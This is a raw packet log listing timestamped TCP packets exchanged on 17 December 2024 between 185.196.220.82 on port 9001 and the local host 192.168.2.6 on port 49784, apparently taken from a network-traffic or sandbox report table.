Dec 17, 2024 11:49:49.688776970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.688863039 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.689507961 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.689518929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.689563036 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.690083981 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.690131903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.690134048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.690165043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.690804005 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.690851927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.690905094 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.690944910 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.691637039 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.691693068 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.691751003 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.691852093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.692397118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.692449093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.692461967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.692538023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.693249941 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.693289042 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.693295002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.693331957 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.693975925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.694037914 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.694138050 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.694199085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.694940090 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.694986105 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.695177078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.695214987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.696032047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.696043015 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.696088076 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.696741104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.696752071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.696789026 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.696810007 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.697150946 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.697283983 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.697319031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.697355032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.697906971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.697959900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.698025942 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.714087963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.755697012 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.755712032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.755724907 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.755739927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.755762100 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.755784988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.756511927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.756562948 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.756716967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.756768942 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.757143974 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.757191896 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.757251024 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.757734060 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.757778883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.757908106 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.758601904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.758615017 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.758660078 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.758681059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.759638071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.759691000 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.759923935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.759968996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.760329962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.760340929 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.760375023 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.760390997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.760935068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.760987997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.761169910 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.761244059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.761632919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.761679888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.761744022 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.761780977 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.762454033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.762644053 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.762665987 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.762685061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.763699055 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.763712883 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.763757944 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.764050007 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.764101028 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.764139891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.764275074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.764833927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.764878035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.764969110 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.765021086 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.765619040 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.765702009 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.765742064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.766432047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.766484976 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.766547918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.766582966 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.767229080 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.767311096 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.767333031 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.767386913 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.768058062 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.768094063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.779417992 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.785489082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.785526037 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.785566092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.785603046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.785823107 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.786009073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.786051035 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.786107063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.786140919 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.786725044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.786776066 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.786942959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.786989927 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.787452936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.787509918 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.787575960 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.787615061 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.788306952 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.788348913 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.788357973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.788393021 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.789024115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.789077997 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.789186954 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.789308071 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.789817095 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.789875031 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.790050030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.790085077 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.790769100 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.790781975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.790827990 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.791378021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.791423082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.791573048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.791661978 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.792821884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.792881966 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.792916059 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.792934895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.793167114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.793220043 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.793364048 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.793417931 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.793812990 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.793922901 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.793932915 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.793971062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.794555902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.794600010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.794667006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.794699907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.795306921 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.795404911 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.802015066 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.811378002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.858757019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.872874975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.873075962 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.873311996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.873411894 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.873457909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.873541117 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.874205112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.874279022 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.874279976 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.874838114 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.874890089 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.874953032 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.874999046 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.875669956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.875777006 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.875839949 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.876508951 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.876543045 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.876595020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.877206087 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.877253056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.877324104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.877367973 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.878042936 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.878087997 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.878117085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.878156900 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.878767967 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.878861904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.878910065 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.879544973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.879584074 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.879601002 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.879664898 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.880388975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.880405903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.880440950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.881053925 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.881130934 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.881172895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.881213903 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.881261110 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.881901979 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.881999016 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.882011890 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.882047892 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.882731915 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.882792950 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.882875919 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.882915020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.883475065 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.883527994 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.883582115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.883622885 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.884288073 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.884340048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.884394884 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.884438038 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.885056019 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.885113955 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.885150909 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.885832071 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.885977030 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.886029005 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.886743069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.886759043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.886814117 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.887377977 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.887653112 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.887674093 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.887710094 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.888222933 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.888309956 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.888359070 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.888998985 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.889075994 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.889122963 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.889744043 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.889892101 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.889945030 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.890512943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.895910025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.909720898 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.947535038 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.947604895 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.947628975 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.947673082 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.947901011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.947946072 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.948107004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.948178053 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.948698044 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.948793888 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.948877096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.948950052 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.949677944 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.949716091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.949764967 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.950472116 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.950572968 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.950644970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.950690985 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.951277971 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.951323032 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.951400042 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.951442003 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.951811075 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.951869011 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.951989889 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.952096939 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.952613115 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.952666998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.952820063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.952863932 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.953466892 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.953520060 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.953584909 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.953654051 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.954204082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.954257965 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.954314947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.954436064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.955024004 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.955060959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.955089092 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.955106020 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.955813885 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.955912113 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.955929041 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.955943108 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.956734896 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.956769943 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.956792116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.956809998 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.957465887 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.957501888 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.957504988 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.957541943 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.958152056 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.958208084 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.958267927 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.958309889 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.958905935 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.958961010 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.958988905 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.959070921 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.959688902 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.959732056 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.959769011 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.978410959 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.978494883 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.978743076 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.978785992 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.978944063 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.979051113 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.979132891 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.979167938 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.980282068 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.980339050 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.980472088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.980528116 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:49.980611086 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:49.980798960 CET	49784	9001	192.168.2.6	185.196.220.82
